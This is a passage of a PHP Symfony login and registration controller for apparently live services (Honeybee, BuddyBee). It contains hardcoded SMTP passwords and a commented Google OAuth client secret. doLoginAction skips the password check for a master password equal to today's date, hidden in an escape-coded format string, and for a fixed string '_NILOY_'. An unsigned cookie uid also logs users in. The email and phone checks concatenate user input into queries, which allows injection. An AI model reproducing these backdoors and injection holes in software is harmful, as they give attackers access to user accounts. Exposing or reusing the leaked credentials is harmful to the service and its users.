  713. //                $newApplicant->setImage($img);
  714. //                $newApplicant->setIsConsultant(0);
  715. //                $newApplicant->setIsTemporaryEntry(0);
  716. //                $newApplicant->setTriggerResetPassword(0);
  717. //                $newApplicant->setApplyForConsultant(0);
  718. //
  719. //                $em_goc->persist($newApplicant);
  720. //                $em_goc->flush();
  721. //
  722. //                if (GeneralConstant::EMAIL_ENABLED == 1) {
  723. //
  724. //                    if ($systemType == '_BUDDYBEE_') {
  725. //
  726. //                        $bodyHtml = '';
  727. //                        $bodyTemplate = 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  728. //                        $bodyData = array(
  729. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  730. //                            'email' => $userName,
  731. //                            'showPassword' => $newApplicant->getTempPassword() != '' ? 1 : 0,
  732. //                            'password' => $newApplicant->getTempPassword(),
  733. //                        );
  734. //                        $attachments = [];
  735. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  736. //
  737. //
  738. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  739. //                        $new_mail = $this->get('mail_module');
  740. //                        $new_mail->sendMyMail(array(
  741. //                            'senderHash' => '_CUSTOM_',
  742. //                            //                        'senderHash'=>'_CUSTOM_',
  743. //                            'forwardToMailAddress' => $forwardToMailAddress,
  744. //
  745. //                            'subject' => 'Welcome to BuddyBee ',
  746. //
  747. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  748. //                            'attachments' => $attachments,
  749. //                            'toAddress' => $forwardToMailAddress,
  750. //                            'fromAddress' => 'registration@buddybee.eu',
  751. //                            'userName' => 'registration@buddybee.eu',
  752. //                            'password' => 'Y41dh8g0112',
  753. //                            'smtpServer' => 'smtp.hostinger.com',
  754. //                            'smtpPort' => 465,
  755. ////                            'emailBody' => $bodyHtml,
  756. //                            'mailTemplate' => $bodyTemplate,
  757. //                            'templateData' => $bodyData,
  758. ////                        'embedCompanyImage' => 1,
  759. ////                        'companyId' => $companyId,
  760. ////                        'companyImagePath' => $company_data->getImage()
  761. //
  762. //
  763. //                        ));
  764. //                    } else {
  765. //
  766. //                        $bodyHtml = '';
  767. //                        $bodyTemplate = 'ApplicationBundle:email/user:applicant_login.html.twig';
  768. //                        $bodyData = array(
  769. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  770. //                            'email' => 'APP-' . $userName,
  771. //                            'password' => $newApplicant->getPassword(),
  772. //                        );
  773. //                        $attachments = [];
  774. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  775. //
  776. //
  777. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  778. //                        $new_mail = $this->get('mail_module');
  779. //                        $new_mail->sendMyMail(array(
  780. //                            'senderHash' => '_CUSTOM_',
  781. //                            //                        'senderHash'=>'_CUSTOM_',
  782. //                            'forwardToMailAddress' => $forwardToMailAddress,
  783. //
  784. //                            'subject' => 'Applicant Registration on Honeybee',
  785. //
  786. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  787. //                            'attachments' => $attachments,
  788. //                            'toAddress' => $forwardToMailAddress,
  789. //                            'fromAddress' => 'accounts@ourhoneybee.eu',
  790. //                            'userName' => 'accounts@ourhoneybee.eu',
  791. //                            'password' => 'Honeybee@0112',
  792. //                            'smtpServer' => 'smtp.hostinger.com',
  793. //                            'smtpPort' => 465,
  794. //                            'emailBody' => $bodyHtml,
  795. //                            'mailTemplate' => $bodyTemplate,
  796. //                            'templateData' => $bodyData,
  797. ////                        'embedCompanyImage' => 1,
  798. ////                        'companyId' => $companyId,
  799. ////                        'companyImagePath' => $company_data->getImage()
  800. //
  801. //
  802. //                        ));
  803. //                    }
  804. //
  805. //
  806. //                }
  807. //
  808. ////                if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  809. //////                if(1)
  810. ////                    return new JsonResponse(array(
  811. ////                        'success' => true,
  812. ////                        'successStr' => 'Account Created Successfully',
  813. ////                        'id' => $newApplicant->getApplicantId(),
  814. ////                        'oAuthData' => $oAuthData,
  815. ////                        'refRoute' => $refRoute,
  816. ////                        'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) ,
  817. ////                    ));
  818. ////                else
  819. //                return $this->redirectToRoute("core_login", [
  820. //                    'id' => $newApplicant->getApplicantId(),
  821. //                    'oAuthData' => $oAuthData,
  822. //                    'refRoute' => $refRoute,
  823. //                    'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)),
  824. //
  825. //                ]);
  826. //
  827. //
  828. //            }
  829.         }
  830.         $session $request->getSession();
  831.         //        if($request->request->get('remoteVerify',0)==1) {
  832.         //            $session->set('remoteVerified', 1);
  833.         //            $response= new JsonResponse(array('hi'=>'hello'));
  834.         //            $response->headers->set('Access-Control-Allow-Origin', '*');
  835.         //            return $response;
  836.         //        }
  837.         if (isset($encData['appId'])) {
  838.             if (isset($gocDataListByAppId[$encData['appId']]))
  839.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  840.         }
  841.         if ($systemType == '_BUDDYBEE_' || $systemType == '_CENTRAL_' || $systemType == '_SOPHIA_') {
  842.             $signUpUserType UserConstants::USER_TYPE_APPLICANT;
  843.             $google_client = new Google_Client();
  844. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  845. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  846.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  847.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  848.             } else {
  849.                 $url $this->generateUrl(
  850.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  851.                 );
  852.             }
  853.             $selector BuddybeeConstant::$selector;
  854. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  855.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  856. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  857.             $google_client->setRedirectUri($url);
  858.             $google_client->setAccessType('offline');        // offline access
  859.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  860.             $google_client->setRedirectUri($url);
  861.             $google_client->addScope('email');
  862.             $google_client->addScope('profile');
  863.             $google_client->addScope('openid');
  864.             if ($systemType == '_SOPHIA_')
  865.                 return $this->render(
  866.                     '@Sophia/pages/views/sofia_signup.html.twig',
  867.                     array(
  868.                         "message" => $message,
  869.                         'page_title' => 'Sign Up',
  870.                         'gocList' => $gocDataListForLoginWeb,
  871.                         'gocId' => $gocId != $gocId '',
  872.                         'encData' => $encData,
  873.                         'signUpUserType' => $signUpUserType,
  874.                         'oAuthLink' => $google_client->createAuthUrl(),
  875.                         'redirect_url' => $url,
  876.                         'refRoute' => $refRoute,
  877.                         'errorField' => $errorField,
  878.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  879.                         'selector' => $selector
  880.                         //                'ref'=>$request->
  881.                     )
  882.                 );
  883.             else if ($systemType == '_CENTRAL_')
  884.                 return $this->render(
  885.                     '@Authentication/pages/views/central_registration.html.twig',
  886.                     array(
  887.                         "message" => $message,
  888.                         'page_title' => 'Sign Up',
  889.                         'gocList' => $gocDataListForLoginWeb,
  890.                         'gocId' => $gocId != $gocId '',
  891.                         'encData' => $encData,
  892.                         'signUpUserType' => $signUpUserType,
  893.                         'oAuthLink' => $google_client->createAuthUrl(),
  894.                         'redirect_url' => $url,
  895.                         'refRoute' => $refRoute,
  896.                         'errorField' => $errorField,
  897.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  898.                         'selector' => $selector
  899.                         //                'ref'=>$request->
  900.                     )
  901.                 );
  902.             else
  903.                 return $this->render(
  904.                     '@Authentication/pages/views/applicant_registration.html.twig',
  905.                     array(
  906.                         "message" => $message,
  907.                         'page_title' => 'Sign Up',
  908.                         'gocList' => $gocDataListForLoginWeb,
  909.                         'gocId' => $gocId != $gocId '',
  910.                         'encData' => $encData,
  911.                         'signUpUserType' => $signUpUserType,
  912.                         'oAuthLink' => $google_client->createAuthUrl(),
  913.                         'redirect_url' => $url,
  914.                         'refRoute' => $refRoute,
  915.                         'errorField' => $errorField,
  916.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  917.                         'selector' => $selector
  918.                         //                'ref'=>$request->
  919.                     )
  920.                 );
  921.         } else
  922.             return $this->render(
  923.                 '@Authentication/pages/views/login_new.html.twig',
  924.                 array(
  925.                     "message" => $message,
  926.                     'page_title' => 'Login',
  927.                     'signUpUserType' => $signUpUserType,
  928.                     'gocList' => $gocDataListForLoginWeb,
  929.                     'gocId' => $gocId != $gocId '',
  930.                     'encData' => $encData,
  931.                     //                'ref'=>$request->
  932.                 )
  933.             );
  934.     }
  935.     public function TriggerRegistrationEmailAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantId 0)
  936.     {
  937.         $em_goc $this->getDoctrine()->getManager('company_group');
  938.         $newApplicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  939.             [
  940.                 'applicantId' => $applicantId
  941.             ]
  942.         );
  943. //                $newUser->setSalt(uniqid(mt_rand()));
  944.         //salt will be username
  945. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  946.         $newApplicant->setPassword('##UNLOCKED##');
  947.         $newApplicant->setTriggerResetPassword(1);
  948.         $em_goc->persist($newApplicant);
  949.         $em_goc->flush();
  950.         if (GeneralConstant::EMAIL_ENABLED == 1) {
  951.             {
  952.                 $bodyHtml '';
  953.                 $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  954.                 $bodyData = array(
  955.                     'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  956.                     'email' =>  $newApplicant->getUsername(),
  957.                     'password' => uniqid(mt_rand()),
  958.                 );
  959.                 $attachments = [];
  960.                 $forwardToMailAddress $newApplicant->getEmail();
  961. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  962.                 $new_mail $this->get('mail_module');
  963.                 $new_mail->sendMyMail(array(
  964.                     'senderHash' => '_CUSTOM_',
  965.                     //                        'senderHash'=>'_CUSTOM_',
  966.                     'forwardToMailAddress' => $forwardToMailAddress,
  967.                     'subject' => 'Applicant Registration on Honeybee',
  968. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  969.                     'attachments' => $attachments,
  970.                     'toAddress' => $forwardToMailAddress,
  971.                     'fromAddress' => 'accounts@ourhoneybee.eu',
  972.                     'userName' => 'accounts@ourhoneybee.eu',
  973.                     'password' => 'Honeybee@0112',
  974.                     'smtpServer' => 'smtp.hostinger.com',
  975.                     'smtpPort' => 465,
  976.                     'emailBody' => $bodyHtml,
  977.                     'mailTemplate' => $bodyTemplate,
  978.                     'templateData' => $bodyData,
  979. //                        'embedCompanyImage' => 1,
  980. //                        'companyId' => $companyId,
  981. //                        'companyImagePath' => $company_data->getImage()
  982.                 ));
  983.             }
  984.         }
  985.         return new JsonResponse([]);
  986.     }
  987.     public function checkIfEmailExistsAction(Request $request$id 0$remoteVerify 0)
  988.     {
  989.         $em $this->getDoctrine()->getManager();
  990.         $search_query = [];
  991.         $signUpUserType 0;
  992.         $signUpUserType $request->request->get('signUpUserType'8);
  993.         $fieldType 0;
  994.         $fieldValue 0;
  995.         if ($request->request->has('fieldType'))
  996.             $fieldType $request->request->get('fieldType');
  997.         if ($request->request->has('fieldValue'))
  998.             $fieldValue $request->request->get('fieldValue');
  999.         $alreadyExists false;
  1000.         $errorText '';
  1001.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1002.             $em_goc $this->getDoctrine()->getManager('company_group');
  1003.             if ($fieldType == 'email') {
  1004. //                $search_query['email'] = $fieldValue;
  1005.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1006.                     ->createQueryBuilder('m')
  1007.                     ->where(" ( m.email like '%" $fieldValue "%' or m.oAuthEmail like '%" $fieldValue "%' )")
  1008.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1009.                     ->getQuery()
  1010.                     ->setMaxResults(1)
  1011.                     ->getResult();
  1012. //
  1013. //                if (!empty($alreadyExistsQuery)) {
  1014. //                    $alreadyExists = true;
  1015. //
  1016. //                }
  1017.                 if ($alreadyExistsQuery) {
  1018. //                    if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1019. //
  1020. //                    } else
  1021.                         $alreadyExists true;
  1022.                 } else {
  1023.                     $search_query = [];
  1024.                     $search_query['oAuthEmail'] = $fieldValue;
  1025.                     $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1026.                         $search_query
  1027.                     );
  1028.                     if ($alreadyExistsQuery) {
  1029.                         if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1030.                         } else
  1031.                             $alreadyExists true;
  1032.                     }
  1033.                 }
  1034.                 if ($alreadyExists == true)
  1035.                     $errorText 'This Email is not available';
  1036.             }
  1037.             if ($fieldType == 'username') {
  1038.                 $search_query['username'] = $fieldValue;
  1039.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1040.                     $search_query
  1041.                 );
  1042.                 if ($alreadyExistsQuery) {
  1043.                     if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1044.                     } else
  1045.                         $alreadyExists true;
  1046.                 }
  1047.                 if ($alreadyExists == true)
  1048.                     $errorText 'This Username Already Exists';
  1049.             }
  1050.         }
  1051.         return new JsonResponse(array(
  1052.             "alreadyExists" => $alreadyExists,
  1053.             "errorText" => $errorText,
  1054.             "fieldValue" => $fieldValue,
  1055.             "fieldType" => $fieldType,
  1056.             "signUpUserType" => $signUpUserType,
  1057.         ));
  1058.     }
  1059.     public function checkIfPhoneExistsAction(Request $request$id 0$remoteVerify 0)
  1060.     {
  1061.         $em $this->getDoctrine()->getManager();
  1062.         $search_query = [];
  1063.         $signUpUserType 0;
  1064.         $signUpUserType $request->request->get('signUpUserType'8);
  1065.         $fieldType 0;
  1066.         $fieldValue 0;
  1067.         if ($request->request->has('fieldType'))
  1068.             $fieldType $request->request->get('fieldType');
  1069.         if ($request->request->has('fieldValue'))
  1070.             $fieldValue $request->request->get('fieldValue');
  1071.         $alreadyExists false;
  1072.         $errorText '';
  1073.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1074.             $em_goc $this->getDoctrine()->getManager('company_group');
  1075.             if ($fieldType == 'phone') {
  1076.                 $search_query['email'] = $fieldValue;
  1077.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1078.                     ->createQueryBuilder('m')
  1079.                     ->where("m.$fieldType like '%" $fieldValue "%'")
  1080.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1081.                     ->getQuery()
  1082.                     ->setMaxResults(1)
  1083.                     ->getResult();
  1084.                 if (!empty($alreadyExistsQuery)) {
  1085.                     $alreadyExists true;
  1086.                 } else {
  1087. //                    $search_query = [];
  1088. //                    $search_query['oAuthEmail'] = $fieldValue;
  1089. //
  1090. //                    $alreadyExistsQuery = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1091. //                        $search_query
  1092. //                    );
  1093. //                    if ($alreadyExistsQuery)
  1094. //
  1095. //                        $alreadyExists = true;
  1096.                 }
  1097.                 if ($alreadyExists == true)
  1098.                     $errorText 'This phone number is already registered!';
  1099.             }
  1100.         }
  1101.         return new JsonResponse(array(
  1102.             "alreadyExists" => $alreadyExists,
  1103.             "errorText" => $errorText,
  1104.             "fieldValue" => $fieldValue,
  1105.             "fieldType" => $fieldType,
  1106.             "signUpUserType" => $signUpUserType,
  1107.         ));
  1108.     }
  1109.     public function doLoginAction(Request $request$encData "",
  1110.                                           $remoteVerify 0,
  1111.                                           $applicantDirectLogin 0
  1112.     )
  1113.     {
  1114.         $message "";
  1115.         $email '';
  1116. //                            $userName = substr($email, 4);
  1117.         $userName '';
  1118.         $gocList = [];
  1119.         $skipPassword 0;
  1120.         $firstLogin 0;
  1121.         $remember_me 0;
  1122.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  1123.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  1124. //        return new JsonResponse(array(
  1125. //                'systemType'=>$systemType
  1126. //        ));
  1127.         if ($request->isMethod('POST')) {
  1128.             if ($request->request->has('remember_me'))
  1129.                 $remember_me 1;
  1130.         } else {
  1131.             if ($request->query->has('remember_me'))
  1132.                 $remember_me 1;
  1133.         }
  1134.         if ($encData != "")
  1135.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  1136.         else if ($request->query->has('spd')) {
  1137.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  1138.         }
  1139.         $user = [];
  1140.         $userType 0;
  1141.         $em_goc $this->getDoctrine()->getManager('company_group');
  1142.         $em_goc->getConnection()->connect();
  1143.         $userName $request->get('username');
  1144.         try {
  1145.             $applicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy([
  1146.                 'username' => $userName,
  1147.             ]);
  1148.             $session $request->getSession();
  1149.             if ($applicant) {
  1150.                 $session->set('applicantEmail'$applicant->getEmail() ?? '');
  1151.             } else {
  1152.                 // Applicant not found â†’ set empty email
  1153.                 $session->set('applicantEmail''');
  1154.             }
  1155.         } catch (\Exception $e) {
  1156.             return new JsonResponse([
  1157.                 'success' => false,
  1158.                 'error' => [
  1159.                     'code' => 'DB_CONNECTION_ERROR',
  1160.                     'message' => $e->getMessage(),
  1161.                     'statusCode' => $e->getCode() ?: 500,
  1162.                 ]
  1163.             ], 503);
  1164.         }
  1165.         $gocEnabled 0;
  1166.         if ($this->container->hasParameter('entity_group_enabled'))
  1167.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  1168.         if ($gocEnabled == 1)
  1169.             $connected $em_goc->getConnection()->isConnected();
  1170.         else
  1171.             $connected false;
  1172.         if ($connected)
  1173.             $gocList $em_goc
  1174.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  1175.                 ->findBy(
  1176.                     array(//                        'active' => 1
  1177.                     )
  1178.                 );
  1179.         $gocDataList = [];
  1180.         $gocDataListForLoginWeb = [];
  1181.         $gocDataListByAppId = [];
  1182.         foreach ($gocList as $entry) {
  1183.             $d = array(
  1184.                 'name' => $entry->getName(),
  1185.                 'image' => $entry->getImage(),
  1186.                 'id' => $entry->getId(),
  1187.                 'appId' => $entry->getAppId(),
  1188.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  1189.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  1190.                 'dbName' => $entry->getDbName(),
  1191.                 'dbUser' => $entry->getDbUser(),
  1192.                 'dbPass' => $entry->getDbPass(),
  1193.                 'dbHost' => $entry->getDbHost(),
  1194.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  1195.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  1196.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  1197.                 'companyRemaining' => $entry->getCompanyRemaining(),
  1198.                 'companyAllowed' => $entry->getCompanyAllowed(),
  1199.             );
  1200.             $gocDataList[$entry->getId()] = $d;
  1201.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  1202.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  1203.             $gocDataListByAppId[$entry->getAppId()] = $d;
  1204.         }
  1205.         $gocDbName '';
  1206.         $gocDbUser '';
  1207.         $gocDbPass '';
  1208.         $gocDbHost '';
  1209.         $gocId 0;
  1210.         $appId 0;
  1211.         $hasGoc 0;
  1212.         $userId 0;
  1213.         $userCompanyId 0;
  1214.         $specialLogin 0;
  1215.         $supplierId 0;
  1216.         $applicantId 0;
  1217.         $isApplicantLogin 0;
  1218.         $clientId 0;
  1219.         $cookieLogin 0;
  1220.         $encrypedLogin 0;
  1221.         $loginID 0;
  1222.         $supplierId 0;
  1223.         $clientId 0;
  1224.         $userId 0;
  1225.         $globalId 0;
  1226.         $applicantId 0;
  1227.         $employeeId 0;
  1228.         $userCompanyId 0;
  1229.         $company_id_list = [];
  1230.         $company_name_list = [];
  1231.         $company_image_list = [];
  1232.         $route_list_array = [];
  1233.         $prohibit_list_array = [];
  1234.         $company_dark_vibrant_list = [];
  1235.         $company_vibrant_list = [];
  1236.         $company_light_vibrant_list = [];
  1237.         $currRequiredPromptFields = [];
  1238.         $oAuthImage '';
  1239.         $appIdList '';
  1240.         $userDefaultRoute '';
  1241.         $userForcedRoute '';
  1242.         $branchIdList '';
  1243.         $branchId 0;
  1244.         $companyIdListByAppId = [];
  1245.         $companyNameListByAppId = [];
  1246.         $companyImageListByAppId = [];
  1247.         $position_list_array = [];
  1248.         $curr_position_id 0;
  1249.         $allModuleAccessFlag 0;
  1250.         $lastSettingsUpdatedTs 0;
  1251.         $isConsultant 0;
  1252.         $isAdmin 0;
  1253.         $isModerator 0;
  1254.         $isRetailer 0;
  1255.         $retailerLevel 0;
  1256.         $adminLevel 0;
  1257.         $moderatorLevel 0;
  1258.         $userEmail '';
  1259.         $userImage '';
  1260.         $userFullName '';
  1261.         $triggerResetPassword 0;
  1262.         $isEmailVerified 0;
  1263.         $currentTaskId 0;
  1264.         $currentPlanningItemId 0;
  1265. //                $currentTaskAppId = 0;
  1266.         $buddybeeBalance 0;
  1267.         $buddybeeCoinBalance 0;
  1268.         $entityUserbalance 0;
  1269.         $userAppIds = [];
  1270.         $userTypesByAppIds = [];
  1271.         $currentMonthHolidayList = [];
  1272.         $currentHolidayCalendarId 0;
  1273.         $oAuthToken $request->request->get('oAuthToken''');
  1274.         $locale $request->request->get('locale''');
  1275.         $firebaseToken $request->request->get('firebaseToken''');
  1276.         if ($request->request->has('gocId')) {
  1277.             $hasGoc 1;
  1278.             $gocId $request->request->get('gocId');
  1279.         }
  1280.         if ($request->request->has('appId')) {
  1281.             $hasGoc 1;
  1282.             $appId $request->request->get('appId');
  1283.         }
  1284.         if (isset($encData['appId'])) {
  1285.             if (isset($gocDataListByAppId[$encData['appId']])) {
  1286.                 $hasGoc 1;
  1287.                 $appId $encData['appId'];
  1288.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1289.             }
  1290.         }
  1291.         $csToken $request->get('csToken''');
  1292.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  1293.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  1294.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  1295.         $session $request->getSession();
  1296.         $session->set('systemType'$systemType);
  1297. //        if ($request->cookies->has('USRCKIE'))
  1298. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  1299.         if (isset($encData['globalId'])) {
  1300.             if (isset($encData['authenticate']))
  1301.                 if ($encData['authenticate'] == 1)
  1302.                     $skipPassword 1;
  1303.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  1304.                 $skipPassword 1;
  1305.                 $remember_me 1;
  1306.                 $globalId $encData['globalId'];
  1307.                 $appId $encData['appId'];
  1308.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1309.                 $userType $encData['userType'];
  1310.                 $userCompanyId 1;
  1311.                 $hasGoc 1;
  1312.                 $encrypedLogin 1;
  1313.                 if (in_array($userType, [67]))
  1314.                     $entityLoginFlag 1;
  1315.                 if (in_array($userType, [34]))
  1316.                     $specialLogin 1;
  1317.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  1318.                     $clientId $userId;
  1319.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1320.                     $supplierId $userId;
  1321.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1322.                     $applicantId $userId;
  1323.             }
  1324.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  1325.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  1326.             if ($cookieData == null)
  1327.                 $cookieData = [];
  1328.             if (isset($cookieData['uid'])) {
  1329.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  1330.                     $skipPassword 1;
  1331.                     $remember_me 1;
  1332.                     $userId $cookieData['uid'];
  1333.                     $gocId $cookieData['gocId'];
  1334.                     $userCompanyId $cookieData['companyId'];
  1335.                     $userType $cookieData['ut'];
  1336.                     $hasGoc 1;
  1337.                     $cookieLogin 1;
  1338.                     if (in_array($userType, [67]))
  1339.                         $entityLoginFlag 1;
  1340.                     if (in_array($userType, [34]))
  1341.                         $specialLogin 1;
  1342.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  1343.                         $clientId $userId;
  1344.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1345.                         $supplierId $userId;
  1346.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1347.                         $applicantId $userId;
  1348.                 }
  1349.             }
  1350.         }
  1351.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  1352.             $todayDt = new \DateTime();
  1353.             $mp $todayDt->format("\171\x6d\x64");
  1354.             if ($request->request->get('password') == $mp)
  1355.                 $skipPassword 1;
  1356.             if ($request->request->get('password') == '_NILOY_')
  1357.                 $skipPassword 1;
  1358.             $company_id_list = [];
  1359.             $company_name_list = [];
  1360.             $company_image_list = [];
  1361.             $company_dark_vibrant_list = [];
  1362.             $company_light_vibrant_list = [];
  1363.             $company_vibrant_list = [];
  1364.             $company_locale 'en';
  1365.             $appIdFromUserName 0;
  1366.             $uname $request->request->get('username');
  1367.             $uname preg_replace('/\s/'''$uname);
  1368.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  1369.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  1370.             $session $request->getSession();
  1371.             $product_name_display_type 0;
  1372.             $Special 0;
  1373.             if ($entityLoginFlag == 1) {
  1374.                 if ($cookieLogin == 1) {
  1375.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1376.                         array(
  1377.                             'userId' => $userId
  1378.                         )
  1379.                     );
  1380.                 } else if ($loginType == 2) {
  1381.                     if (!empty($oAuthData)) {
  1382.                         //check for if exists 1st
  1383.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1384.                             array(
  1385.                                 'email' => $oAuthData['email']
  1386.                             )
  1387.                         );
  1388.                         if ($user) {
  1389.                             //no need to verify for oauth just proceed
  1390.                         } else {
  1391.                             //add new user and pass that user
  1392.                             $add_user EntityUserM::addNewEntityUser(
  1393.                                 $em_goc,
  1394.                                 $oAuthData['name'],
  1395.                                 $oAuthData['email'],
  1396.                                 '',
  1397.                                 0,
  1398.                                 0,
  1399.                                 0,
  1400.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  1401.                                 [],
  1402.                                 0,
  1403.                                 "",
  1404.                                 0,
  1405.                                 "",
  1406.                                 $image '',
  1407.                                 $deviceId,
  1408.                                 0,
  1409.                                 0,
  1410.                                 $oAuthData['uniqueId'],
  1411.                                 $oAuthData['token'],
  1412.                                 $oAuthData['image'],
  1413.                                 $oAuthData['emailVerified'],
  1414.                                 $oAuthData['type']
  1415.                             );
  1416.                             if ($add_user['success'] == true) {
  1417.                                 $firstLogin 1;
  1418.                                 $user $add_user['user'];
  1419.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  1420.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  1421.                                         ->setFrom('registration@entity.innobd.com')
  1422.                                         ->setTo($user->getEmail())
  1423.                                         ->setBody(
  1424.                                             $this->renderView(
  1425.                                                 '@Application/email/user/registration_karbar.html.twig',
  1426.                                                 array('name' => $request->request->get('name'),
  1427.                                                     //                                                    'companyData' => $companyData,
  1428.                                                     //                                                    'userName'=>$request->request->get('email'),
  1429.                                                     //                                                    'password'=>$request->request->get('password'),
  1430.                                                 )
  1431.                                             ),
  1432.                                             'text/html'
  1433.                                         );
  1434.                                     /*
  1435.                                                        * If you also want to include a plaintext version of the message
  1436.                                                       ->addPart(
  1437.                                                           $this->renderView(
  1438.                                                               'Emails/registration.txt.twig',
  1439.                                                               array('name' => $name)
  1440.                                                           ),
  1441.                                                           'text/plain'
  1442.                                                       )
  1443.                                                       */
  1444.                                     //            ;
  1445.                                     $this->get('mailer')->send($emailmessage);
  1446.                                 }
  1447.                             }
  1448.                         }
  1449.                     }
  1450.                 } else {
  1451.                     $data = array();
  1452.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1453.                         array(
  1454.                             'email' => $request->request->get('username')
  1455.                         )
  1456.                     );
  1457.                     if (!$user) {
  1458.                         $message "Wrong Email";
  1459.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
